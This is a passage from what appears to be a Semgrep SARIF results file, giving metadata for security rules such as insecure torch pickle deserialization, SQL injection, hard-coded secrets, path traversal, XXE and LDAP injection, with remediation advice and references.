sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","id":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","name":"python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-torch-pickle.tainted-torch-pickle"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"help":{"markdown":"Appending `$SLICE` from multiple goroutines is not concurrency safe\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice)\n - [https://go.dev/blog/maps#concurrency](https://go.dev/blog/maps#concurrency)\n","text":"Appending `$SLICE` from multiple goroutines is not concurrency safe"},"helpUri":"https://semgrep.dev/r/trailofbits.go.racy-append-to-slice.racy-append-to-slice","id":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","name":"trailofbits.go.racy-append-to-slice.racy-append-to-slice","properties":{"precision":"very-high","tags":["CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.racy-append-to-slice.racy-append-to-slice"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/rsa/#cryptography.hazmat.primitives.asymmetric.padding.PKCS1v15)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"'The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","id":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","name":"python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-signature.cryptography-rsa-pkcs1-signature"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"help":{"markdown":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands)\n - [https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/](https://github.blog/changelog/2020-10-01-github-actions-deprecating-set-env-and-add-path-commands/)\n - [https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w](https://github.com/actions/toolkit/security/advisories/GHSA-mfwh-5m23-j46w)\n - [https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files](https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files)\n","text":"The environment variable `ACTIONS_ALLOW_UNSECURE_COMMANDS` grants this workflow permissions to use the `set-env` and `add-path` commands. There is a vulnerability in these commands that could result in environment variables being modified by an attacker. Depending on the use of the environment variable, this could enable an attacker to, at worst, modify the system path to run a different command than intended, resulting in arbitrary code execution. This could result in stolen code or secrets. Don't use `ACTIONS_ALLOW_UNSECURE_COMMANDS`. Instead, use Environment Files. See https://github.com/actions/toolkit/blob/main/docs/commands.md#environment-files for more information."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","id":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","name":"yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands","properties":{"precision":"very-high","tags":["CWE-749: Exposed Dangerous Method or Function","MEDIUM CONFIDENCE","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.allowed-unsecure-commands.allowed-unsecure-commands"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","id":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","name":"python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-dotenv-variable-django.tainted-dotenv-variable-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","id":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","name":"kotlin.spring.exposed-exec-sqli.exposed-exec-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.exposed-exec-sqli.exposed-exec-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static script inside otto VM. Audit the input to 'VM.Run'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.otto.security.audit.dangerous-execution.dangerous-execution","id":"go.otto.security.audit.dangerous-execution.dangerous-execution","name":"go.otto.security.audit.dangerous-execution.dangerous-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.otto.security.audit.dangerous-execution.dangerous-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","id":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","name":"rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.reqwest.hardcoded-uri-password.hardcoded-uri-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"help":{"markdown":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion)\n - [https://lwn.net/Articles/606141/](https://lwn.net/Articles/606141/)\n","text":"Call to 'read()' without error checking is susceptible to file descriptor exhaustion. Consider using the 'getrandom()' function."},"helpUri":"https://semgrep.dev/r/c.lang.security.random-fd-exhaustion.random-fd-exhaustion","id":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","name":"c.lang.security.random-fd-exhaustion.random-fd-exhaustion","properties":{"precision":"very-high","tags":["CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.random-fd-exhaustion.random-fd-exhaustion"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"help":{"markdown":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request)\n - [https://www.npmjs.com/package/ftp](https://www.npmjs.com/package/ftp)\n - [https://openbase.io/js/ftp](https://openbase.io/js/ftp)\n","text":"Checks for lack of usage of the \"secure: true\" option when sending ftp requests through the nodejs ftp module. This leads to unencrypted traffic being sent to the ftp server. There are other options such as \"implicit\" that still does not encrypt all traffic. ftp is the most utilized npm ftp module."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","id":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","name":"problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.ftp-request.ftp-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","id":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","name":"rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.tokio-postgres-taint.tokio-postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","id":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","name":"csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnection-hardcoded-secret.sqlconnection-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Java, you may also consider using a utility method such as `org.apache.commons.io.FilenameUtils.getName(...)` to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","id":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","name":"java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.path-traversal.file-access-taint-msg.file-access-taint-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"XML processor being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Parsers can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","id":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","name":"scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.sax-dtd-enabled.sax-dtd-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"help":{"markdown":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb)\n","text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","id":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","name":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter.\n\n<b>References:</b>\n - [Semgrep 